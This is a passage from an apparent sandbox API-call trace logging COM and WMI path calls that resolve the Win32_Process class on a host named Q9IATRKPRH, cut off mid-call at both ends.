pToken=0x1bb7e0e0) returned 0x0 [0163.403] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0163.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc956b0) returned 0x0 [0163.403] WbemDefPath:IUnknown:AddRef (This=0x1bc956b0) returned 0x3 [0163.403] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x2 [0163.403] WbemDefPath:IWbemPath:SetText (This=0x1bc956b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0163.403] IWbemClassObject:Get (in: This=0x1aa22010, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0163.403] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0163.404] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0163.404] IWbemClassObject:Get (in: This=0x1aa22010, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0163.404] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0163.404] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0163.405] IWbemClassObject:Get (in: This=0x1aa22010, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0163.405] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0163.405] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0163.405] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0163.406] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0163.406] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0163.406] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.409] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1da0) returned 0x0 [0163.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1da0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0163.410] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1da0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc95470) returned 0x0 [0163.410] WbemDefPath:IUnknown:Release (This=0x1bbf1da0) returned 0x0 [0163.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc95470) returned 0x0 [0163.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0163.411] WbemDefPath:IUnknown:AddRef (This=0x1bc95470) returned 0x3 [0163.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0163.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0163.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1d20) returned 0x0 [0163.411] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.411] WbemDefPath:IUnknown:Release (This=0x1bbf1d20) returned 0x3 [0163.411] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0163.412] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0163.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0163.412] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x2 [0163.412] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x1 [0163.413] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0163.413] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0163.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc95470) returned 0x0 [0163.413] WbemDefPath:IUnknown:AddRef (This=0x1bc95470) returned 0x3 [0163.413] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x2 [0163.413] WbemDefPath:IWbemPath:SetText (This=0x1bc95470, uMode=0x4, pszPath="") returned 0x0 [0163.413] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0163.413] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0163.414] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0163.414] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.417] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1da0) returned 0x0 [0163.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1da0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0163.417] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1da0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc953b0) returned 0x0 [0163.418] WbemDefPath:IUnknown:Release (This=0x1bbf1da0) returned 0x0 [0163.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc953b0) returned 0x0 [0163.466] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0163.467] WbemDefPath:IUnknown:AddRef (This=0x1bc953b0) returned 0x3 [0163.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0163.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0163.467] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf2060) returned 0x0 [0163.468] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf2060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.468] WbemDefPath:IUnknown:Release (This=0x1bbf2060) returned 0x3 [0163.468] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0163.468] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0163.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0163.468] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x2 [0163.468] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x1 [0163.469] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0163.469] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0163.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc953b0) returned 0x0 [0163.469] WbemDefPath:IUnknown:AddRef (This=0x1bc953b0) returned 0x3 [0163.469] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x2 [0163.469] WbemDefPath:IWbemPath:SetText (This=0x1bc953b0, uMode=0x4, pszPath="") returned 0x0 [0163.469] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0163.469] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95470, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0163.469] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc953b0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0163.470] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc953b0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0163.470] WbemDefPath:IWbemPath:SetServer (This=0x1bc953b0, Name="Q9IATRKPRH") returned 0x0 [0163.470] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0163.470] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0163.470] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0163.470] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.474] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1fc0) returned 0x0 [0163.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1fc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0163.475] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1fc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc952f0) returned 0x0 [0163.475] WbemDefPath:IUnknown:Release (This=0x1bbf1fc0) returned 0x0 [0163.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc952f0) returned 0x0 [0163.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0163.475] WbemDefPath:IUnknown:AddRef (This=0x1bc952f0) returned 0x3 [0163.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0163.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0163.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1e00) returned 0x0 [0163.476] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1e00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.476] WbemDefPath:IUnknown:Release (This=0x1bbf1e00) returned 0x3 [0163.476] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0163.477] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0163.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0163.478] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x2 [0163.478] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x1 [0163.478] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0163.478] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0163.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc952f0) returned 0x0 [0163.479] WbemDefPath:IUnknown:AddRef (This=0x1bc952f0) returned 0x3 [0163.479] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x2 [0163.479] WbemDefPath:IWbemPath:SetText (This=0x1bc952f0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0163.479] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0163.479] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0163.479] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0163.479] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0163.479] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc953b0) returned 0x0 [0163.479] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.480] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc952f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0163.480] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc952f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0163.480] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc953b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0163.480] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc952f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0163.482] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc952f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0163.482] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc953b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0163.482] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc953b0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0163.482] WbemDefPath:IWbemPath:SetClassName (This=0x1bc953b0, Name="Win32_Process") returned 0x0 [0163.483] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc953b0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0163.483] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0163.483] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0163.483] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0163.483] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc953b0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0163.483] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0163.484] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0163.484] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0163.484] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0163.484] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 